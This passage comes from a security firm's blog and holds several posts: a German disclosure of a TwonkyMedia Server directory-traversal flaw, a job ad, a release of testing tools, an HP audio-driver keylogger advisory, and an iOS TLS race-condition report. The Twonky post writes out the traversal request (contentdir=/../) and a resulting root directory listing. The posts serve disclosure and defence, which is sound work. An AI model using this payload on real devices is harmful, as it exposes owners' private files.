Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

Das folgende Beispiel zeigt die Antwort nach dem Patch des Parameters contentdir:

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

Nachdem der Parameter contentdir gepatcht wurde, ist es nun möglich in der TwonkyMedia Server konfigurationsseite jeden beliebigen Ordner für die Indexierung der Medieninhalte anzugeben. Nachdem der TwonkyMedia Server die indexierung vorgenommen hat können die Dateien einfach heruntergeladen oder betrachtet werden.

Für das patchen des contentdir Parameters und das Erkunden des Dateisystemes kann dieser Proof-of-Concept verwendet werden.

Mit dem Ausnützen dieser Schwachstelle ist es Angreifern somit nicht nur möglich tief in die Privatsphäre Ihrer Ziele einzudringen, sondern sie kann auch genutzt werden um weitere Angriffstechniken zu unterstützen. Beispielsweise kann ein Angreifer auf interne Informationen anderer Webserver, die auf dem Gerät laufen zugreifen, die zur kompletten Übernahme des Gerätes führen können.

Sollten eines Ihrer Geräte einen TwonkyMedia Server Version 7.0.11-8.5 betreiben, sehen Sie alle Medieninhalte auf dem Gerät als nicht länger privat an. Sie können prüfen, ob ein TwonkyMedia Server läuft, indem sie die folgende URL in ihrem Webbrowser eingeben http://IpDesNAS:9000. Da der TwonkyMedia Server auch auf anderen Ports vorgefunden wurde hier eine Auflistung aller enumerierten TwonkyMedia Server ports: 9000, 9001, 9002, 9003, 9004 und 9005. Teilweise ist der TwonkyMedia Server nicht per HTTP sondern nur per HTTPS erreichbar. Hierfür als URL folgendes verwenden https://IpDesNAS:9002. "IpDesNAS" können Sie auch durch die öffentliche IP-Adresse Ihres Routers ersetzen. Um die öffentliche IP-Adresse Ihres Routers herauszufinden können sie Beispielsweise http://ipinfo.io/ip im Webbrowser öffnen.

modzero empfiehlt TwonkyMedia Server-installationen mit einem Passwort zu schützen oder das DLNA-Medienstreaming zu deaktivieren, falls dieses nicht benötigt wird.


Posted by Sven Fassbender | Permanent link

2018-03-20

Uncle Kerckhoffs wants YOU!

You're a hacker from the bottom of your heart? You don't mind moving to Berlin or Zurich? We'd like to have a chat with you!

We're currently looking for talented hackers to extend our teams in Berlin and Zurich/Winterthur.

IT-Security Analyst - Generalist with focus on certain in-depth areas

You already have experience, working as IT Security Consultant or managing product security in soft- and hardware manufacturing companies. In addition to a broad knowledge in general IT-security related areas, you also have the vision to deepen your knowledge on specific topics.

The most important skills that are required are the following:

  • Penetration Testing — you know the tools that assists with all sorts of penetration tests, and you know how to read its resulting output.
  • Threat-Modeling and Risk-Assessments — the skill to prepare your tools and targets in a structured manner.
  • Creativity — the skill to spot that thing, that turns an objective into something broken.
  • Reporting — Explain, write and defend your findings. The skill to push the business-value of your other skills. You must be able to perform proper reporting in English or German language.
  • Passion — your personal security deep-dive: a technology or methodology you're focusing on.

In addition to these must-have skills, the following are nice to have:

  • Reverse Engineering — the art of illuminating the dark corners of binary code & data, communication protocols and hardware-solutions.
  • Source Code Assessments in C, C++, C#, Java, Swift, Objective-C, JavaScript.
  • Cryptography — it's definitely a super-bonus, if your eyebrow raises when you hear people saying the product is secure because of cryptography. You know how to spot and exploit potential side-channels, and how to properly use certain cryptographic algorithms.

Junior Hacker

If you don't have the business experience of a consultant, we may want you to extend our team as a Junior Security Consultant. If you bring the necessary skills, we may close the gaps, supporting you with specializing on certain areas in the IT security industry.

What do you need?

  • Passion — You bring the vision and we'll help you, turning it into a professional service.
  • Creativity — What could possibly go wrong? You have the idea, already.
  • Patience — Breaking the unbreakable stuff. Your tenacity is the door-opener to the wonderful world of destruction.

... and of course, quite some technological background.

Your tasks

  • Black-/White-/Gray-Box Penetration Tests of networks, services and solutions.
  • Review of software and hardware components in source-code and/or binary form.
  • Threat Analysis along with the individual business-model of our clients.
  • Review of white-papers, architectural- and design-specs and continuous support during the whole Product Development Lifecycle processes.

Our tasks

modzero provides IT security consulting to customers from different civil sections and industries. We reject working on offensive and defensive technologies with military, intelligence, or police investigation. We discuss all governmental inquiries with our colleagues.

This is what we will take care of:

  • You work with a great and open-minded team in Switzerland and Germany.
  • Your time: If you want to work part-time, talk to us.
  • Research — we support your project and your development with research-time.
  • Insights into a broad range of interesting, different industries and technologies.
  • Regular internal company meetups with workshop-program and good food.
  • Salary — we pay for your skills and execute regular, individual interviews on development and expectation of employees.

Application

Please send your application to jobs [at] modzero [dot] ch. Use PGP to sign and encrypt your documents — Find our PGP key right here: https://www.modzero.ch/pgp/jobs_modzero.ch.asc If you'd rather work as a freelancing hired gun, let us know why and don't hesitate to send your resume.


Posted by modzero | Permanent link | File under: modzero, staff

2018-02-14

Release of some security tools

At modzero we do a lot of security testing and, on a regular basis, we write tools to do our work more efficiently. This week Jan Girlich and Tobias Ospelt of modzero took some time to review some of their tools and make three of them available to the public on GitHub.

Jan wrote a Proof of Concept (PoC) Android app that allows exploiting Java object deserialization vulnerabilities in Android and named this project modjoda (modzero Java Object Deserialization on Android). To test the issue, he also wrote a vulnerable demo application to try the exploit on.

mod0schubser was written by Tobias and provides a simple TCP- and TLS-level Man-In-The-Middle (MITM) proxy for people with Python experience. It can be used when all the other proxy tools seem to be too complicated. Additionally, he wrote mod0cookiedealer, a tool to demonstrate the impact of missing HTTP cookie flags (secure and HTTPonly). If you remember Firesheep, mod0cookiedealer is simply a modern implementation of Firesheep as a browser web-extension.


Posted by Jan Girlich, Tobias Ospelt | Permanent link | File under: mobile, security, opensource, software, github

2017-05-16

[EN] Update: Keylogger in Hewlett-Packard Audio Driver

Eine Deutsche Version befindet sich hier – German version is located right here

On May 11th, we published information about a questionable function in an HP audio driver package. This function included a keylogger that has been implemented unintentionally by 3rd party vendor Conexant and was delivered by HP to its customers. In the meantime, HP has fixed the issue.

On the same day of our initial release, HP has released a new driver package. However, we were not as fast with checking the provided patches, but finally we had a quick look on the patches on May 13th.

Unfortunately, HP still did not try to get in touch with us, otherwise we could have contacted HP directly with information that the update still provides the keylogging functions.

The keylogger was still there and had to be activated only by a switch in the Windows Registry. Thus, it is basically just an additional line of program code necessary, to repurpose the MicTray64 program and turn it into a remotely key-logging malware, as described in this very recommendable article.

On May 14th, HP again released an update in which the questionable debugging features, which turned the software effectively into a keylogger, were removed.

Meanwhile, HP also contacted us, which we appreciate much. Finally, the keylogging thing in the HP audio driver package is no longer an issue. Hewlett-Packard has published its own security bulletin and we updated our Security Advisory at https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt as well.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-16

[DE] Update: Keylogger in Hewlett-Packard Audio-Treiber

Eine Englische Version befindet sich hier – English version is located right here

Am 11. Mai 2017 haben wir Informationen über eine fragwürdige Funktion in einem Audio-Treiber-Paket von HP veröffentlicht. Bei dieser Funktion handelte es sich um einen versehentlich eingebauten Keylogger, der in einem Programm des Herstellers Conexant implementiert und von HP an seine Kunden ausgeliefert wurde. HP hat das Problem nun behoben.

Noch am gleichen Tag unserer ersten Veröffentlichung hat HP ein neues Treiber-Paket veröffentlicht. Nicht ganz so schnell waren wir mit der Überprüfung des bereitgestellten Patches, und so haben wir uns erst am 13. Mai das Update angeschaut.

HP hatte bis dahin leider immer noch keinen Kontakt zu uns aufgenommen, sonst hätten wir die Information, dass das Update immer noch die Keylogging-Funktionen bereitstellt, direkt mitteilen können.

Der Keylogger war also immer noch vorhanden und musste nur über einen Schalter in der Windows Registry aktiviert werden. Es ist also im Grunde einfach eine Zeile Programmcode mehr notwendig, wenn man das MicTray64 Programm zweckentfremdet, wie in diesem sehr lesenswerten Artikel beschrieben wird.

Am 14. Mai veröffentlichte HP dann erneut ein Update, in dem die fraglichen Debug-Funktionen, die aus der Software effektiv einen Keylogger machten, entfernt waren.

Mittlerweile hat HP uns auch kontaktiert, was uns natürlich freut. Nun dürfte die Sache mit dem Keylogger im HP Audio-Treiber-Paket also vom Tisch sein. Hewlett-Packard hat ein eigenes Security-Bulletin veröffentlicht, und wir haben unser Security Advisory unter https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt angepasst.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-11

[EN] Keylogger in Hewlett-Packard Audio Driver

Eine Deutsche Version befindet sich hier – German version right here

Security reviews of modern Windows Active Domain infrastructures are – from our point of view – quite sobering. Therefore, we often look left and right, when, for example, examining the hardening of protection mechanisms of a workstation. Here, we often find all sorts of dangerous and ill-conceived stuff. We want to present one of these casually identified cases now, as it's quite an interesting one: We have discovered a keylogger in an audio driver package by Hewlett-Packard.

A keylogger is a piece of software for which the case of dual-use can rarely be claimed. This means there are very few situations where you would describe a keylogger that records all keystrokes as 'well-intended'. A keylogger records when a key is pressed, when it is released, and whether any shift or special keys have been pressed. It is also recorded if, for example, a password is entered even if it is not displayed on the screen.

So what's the point of a keylogger in an audio driver? Does HP deliver pre-installed spyware? Is HP itself a victim of a backdoored software that third-party vendors have developed on behalf of HP? The responsibility in this case is uncertain, because the software is offered by HP as a driver package for their own devices on their website. On the other hand, the software was developed and digitally signed by the audio chip manufacturer Conexant.

Conexant is a manufacturer of integrated circuits, emerging from a US armaments manufacturer. Primarily, they develop circuits in the field of video and audio processing. Thus, it is not uncommon for Conexant audio ICs to be populated on the sound cards of computers of various manufacturers. Conexant also develops drivers for its audio chips, so that the operating system is able to communicate with the hardware. Apparently, there are some parts for the control of the audio hardware, which are very specific and depend on the computer model - for example special keys for turning on or off a microphone or controlling the recording LED on the computer. In this code, which seems to be tailored to HP computers, there is a part that intercepts and processes all keyboard input.

Actually, the purpose of the software is to recognize whether a special key has been pressed or released. Instead, however, the developer has introduced a number of diagnostic and debugging features to ensure that all keystrokes are either broadcasted through a debugging interface or written to a log file in a public directory on the hard-drive.

This type of debugging turns the audio driver effectively into a keylogging spyware. On the basis of meta-information of the files, this keylogger has already existed on HP computers since at least Christmas 2015.

Verifying: MicTray64.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha1): 3FE5F7704DF5989717A029BC3DA99527373797D2
 
Signing Certificate Chain:
[...]
            Issued to: Conexant Systems, Inc.
            Issued by: VeriSign Class 3 Code Signing 2010 CA
            Expires:   Mon Jul 03 01:59:59 2017
            SHA1 hash: 505507C3221B63E658D197E75EAEE0D3BC100F6C
 
The signature is timestamped: Thu Dec 24 10:07:19 2015
Timestamp Verified by:
    Issued to: Thawte Timestamping CA
    Issued by: Thawte Timestamping CA
    Expires:   Fri Jan 01 01:59:59 2021
    SHA1 hash: BE36A4562FB2EE05DBB3D32323ADF445084ED656
[...]

Version 1.0.0.31 of this program was later extended by even more problematic functions: The most recent version 1.0.0.46 implements the logging of all keystrokes into the publicly for any user readable file C:\Users\Public\MicTray.log. Although the file is overwritten after each login, the content is likely to be easily monitored by running processes or forensic tools. If you regularly make incremental backups of your hard-drive - whether in the cloud or on an external hard-drive – a history of all keystrokes of the last few years could probably be found in your backups.

There is no evidence that this keylogger has been intentionally implemented. Obviously, it is a negligence of the developers - which makes the software no less harmful. If the developer would just disable all logging, using debug-logs only in the development environment, there wouldn't be problems with the confidentiality of the data of any user.

Neither HP Inc. nor Conexant Systems Inc. have responded to any contact requests. Only HP Enterprise (HPE) refused any responsibility, and sought contacts at HP Inc. through internal channels.

Therefore, we are now publishing this information in accordance with our Responsible Disclosure process, even if the HP and Conexant issues are neither confirmed nor corrected by the affected vendors.

All users of HP computers should check whether the program C:\Windows\System32\MicTray64.exe or C:\Windows\System32\MicTray.exe is installed. We recommend that you delete or rename the executable files so that no keystrokes are recorded anymore. However, the special function keys on the keyboards might no longer work as expected. If a C:\Users\Public\MicTray.log file exists on the hard-drive, it should also be deleted immediately, as it can contain a lot of sensitive information such as login-information and passwords.

The exact technical details and documents can be found in our Security Advisory https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-11

[DE] Keylogger in Hewlett-Packard Audio-Treiber

Eine Englische Version befindet sich hier – English version is located right here

Sicherheitsanalysen von modernen Windows-Domain-Infrastrukturen sind – aus unserer Sicht – zuweilen recht ernüchternd. Daher schauen wir oft auch nach links und rechts, wenn wir beispielsweise die Härtung der Schutzmechanismen eines Clients begutachten. Hierbei finden wir oft allerlei Gefährliches und schlecht Durchdachtes. Einen dieser beiläufig gefundenen Fälle wollen wir jetzt aufzeigen, denn der hat es in sich: Wir haben einen Keylogger in einem Audio-Treiber-Paket von HP gefunden.

Ein Keylogger ist eine Software, für die selten der Anspruch des Dual-Use erhoben werden kann. Das bedeutet, es gibt nur sehr wenige Situationen, in denen man einen Keylogger der alle Tastatur-Anschläge aufzeichnet, als "gutartig" bezeichnen würde. Ein Keylogger zeichnet auf, wenn eine Taste gedrückt wurde, wenn sie losgelassen wird, und ob irgendwelche Umschalt- oder Sonder-Tasten betätigt wurden. Auch, wenn beispielsweise ein Passwort eingegeben wird und dieses nicht am Bildschirm dargestellt wird.

Was hat also ein Keylogger in einem Audio-Treiber verloren? Liefert HP vorinstallierte Spähsoftware aus? Ist HP selbst Opfer einer Software mit Hintertür, die Drittanbieter im Auftrag von HP entwickelt haben? Die Verantwortlichkeit ist in diesem Fall unklar, denn die Software wird zwar von HP auf deren Webseite als Treiberpaket für die eigenen Computer zum Download angeboten, andererseits wurde die Software vom Audio-Chip Hersteller Conexant programmiert und digital signiert.

Conexant ist ein aus einem US-amerikanischen Rüstungskonzern hervorgegangener Hersteller von integrierten Schaltungen. Primär werden Schaltungen im Bereich der Video- und Audio-Verarbeitung entwickelt. So ist es also nicht selten, dass Conexant Audio-ICs in den Soundkarten der Computer diverser Hersteller verbaut werden. Conexant entwickelt für seine Audio-Chips auch Treiber, damit das Betriebssystem in der Lage ist, mit der Hardware zu kommunizieren. Anscheinend gibt es aber für manche Teile zur Steuerung der Audio-Hardware auch sehr spezifische Teile, die von dem Computermodell abhängen - also beispielsweise spezielle Tasten für die Aktivierung oder Deaktivierung eines Mikrofons oder die Ansteuerung der Aufnahme-LED am Rechner. In genau diesem Code der scheinbar auf HP-Rechner zugeschnitten ist, findet sich nun ein Teil, der sämtliche Taststatur-Eingaben abfängt und weiterverarbeitet.

Eigentlich besteht der Sinn der Software darin zu erkennen, ob eine Sondertaste gedrückt wurde. Stattdessen hat jedoch der Entwickler einige Diagnose- und Debugging-Funktionen eingefügt, die dafür sorgen, dass sämtliche Tastatureingaben entweder über eine Debugging-Schnittstelle herausposaunt werden oder in eine Log-Datei in einem öffentlichen Verzeichnis geschrieben werden.

Diese Art des Debuggings macht aus dem Audio-Treiber effektiv einen Keylogger. Anhand der Meta-Informationen der Dateien existiert dieser Keylogger schon seit mindestens Weihnachten 2015 auf HP-Rechnern.

Verifying: MicTray64.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha1): 3FE5F7704DF5989717A029BC3DA99527373797D2
 
Signing Certificate Chain:
[...]
            Issued to: Conexant Systems, Inc.
            Issued by: VeriSign Class 3 Code Signing 2010 CA
            Expires:   Mon Jul 03 01:59:59 2017
            SHA1 hash: 505507C3221B63E658D197E75EAEE0D3BC100F6C
 
The signature is timestamped: Thu Dec 24 10:07:19 2015
Timestamp Verified by:
    Issued to: Thawte Timestamping CA
    Issued by: Thawte Timestamping CA
    Expires:   Fri Jan 01 01:59:59 2021
    SHA1 hash: BE36A4562FB2EE05DBB3D32323ADF445084ED656
[...]

Die Version 1.0.0.31 dieses Programms wurde später um noch problematischere Funktionen erweitert: Die aktuellste Version 1.0.0.46 implementierte das Protokollieren aller Tastatur-Anschläge in die öffentliche, für jeden Benutzer lesbare Datei C:\Users\Public\MicTray.log. Zwar wird die Datei nach jedem Login überschrieben, dennoch dürften die Inhalte für laufende Prozesse oder Forensiker leicht zu überwachen sein. Wer regelmäßig inkrementelle Backups seiner Festplatte macht - egal ob in der Cloud oder auf einem externen Datenträger - dürfte ein Keylogger-Protokoll der letzten Jahre in seinen Backups finden können.

Es gibt keine Hinweise darauf, dass dieser Keylogger mutwillig eingebaut wurde. Augenscheinlich handelt es sich um eine Nachlässigkeit der Entwickler – was die Software jedoch nicht weniger schädlich macht. Wenn der Entwickler auf das Logging verzichten würde und dies nur in der Entwicklungsumgebung täte, gäbe es keinerlei Probleme mit der Vertraulichkeit der Daten eines Benutzers.

Weder HP Inc. noch Conexant Systems Inc. hat auf Kontaktanfragen reagiert. Lediglich HP Enterprise (HPE) wies die Zuständigkeit von sich und bemühte sich über interne Kanäle um einen Ansprechpartner bei HP Inc.

Daher veröffentlichen wir diese Informationen nun gemäß unseres Responsible-Disclosure-Prozesses, auch wenn die Probleme von HP und Conexant weder bestätigt noch behoben wurden.

Alle Nutzer von HP-Computer sollten prüfen, ob das Programm C:\Windows\System32\MicTray64.exe oder C:\Windows\System32\MicTray.exe installiert ist. Wir empfehlen, diese zu löschen oder umzubenennen, damit keine Taststatur-Anschläge mehr aufgezeichnet werden. Allerdings dürften die Sonderfunktions-Tasten auf den Keyboards dann auch nicht mehr wie gewohnt funktionieren. Sollte eine Datei C:\Users\Public\MicTray.log existieren, so sollte auch diese umgehend gelöscht werden, da sie zahlreiche sensible Informationen wie Passwörter enthalten kann.

Die genauen technischen Details und Belege finden sich in unserem Security-Advisory https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2016-12-23

iOS TLS session resumption race condition

Roughly three months ago when iOS 9 was still the newest version available for the iPhone, we encountered a bug in the Twitter iOS app. When doing a transparent proxy setup for one of our iOS app security tests, a Twitter HTTPS request turned up in the Burp proxy log. This should never happen, as the proxy's HTTPS certificate is not trusted on iOS and therefore connections should be rejected. Being shocked, we checked that certainly we did not install the CA certificate of the proxy on the iPhone and verified with a second non-jailbroken iPhone. The bug was repoducible on iOS 9.3.3 and 9.3.5.

After opening a Hackerone bug report with Twitter I took some time to further investigate the issue. Changing the seemingly unrelated location of the DHCP server in our test setup from the interception device to the WiFi access point made the bug non-reproducible. Moving the DHCP server back to the interception device the issue was reproducible again. This could only mean this was a bug that needed exact timing of certain network related packets. After a lot of back and forth, I was certain that this has to be a race condition/thread safety problem.

Dissecting the network packets with Wireshark, I was able to spot the bug. It seems that if the server certificate in the server hello packet is invalid, the TLS session is not removed fast enough/in a thread safe manner from the TLS connection pool. If the race condition is triggered, this TLS session will be reused for another TLS connection (TLS session resumption). During the TLS session resumption the server hello packet will not include a server certificate. The TLS session is already trusted and the client has no second opportunity to check the server certificate. If an attacker is able to conduct such an attack, the authentication mechanism of TLS is broken, allowing extraction of sensitive OAuth tokens, redirecting the Twitter app via HTTP redirect messages and other traffic manipulations.

I was not able to reproduce the issue on iOS 10. Twitter additionally fixed the issue on their side in Twitter iOS version 6.44, but noted that this was probably related to an Apple bug. We did not further investigate the issue, but the assumption seems plausible.

The issue was rated high severity by Twitter. The entire details are published on Hackerone.


Posted by Tobias Ospelt | Permanent link | File under: mobile, security, crypto, apple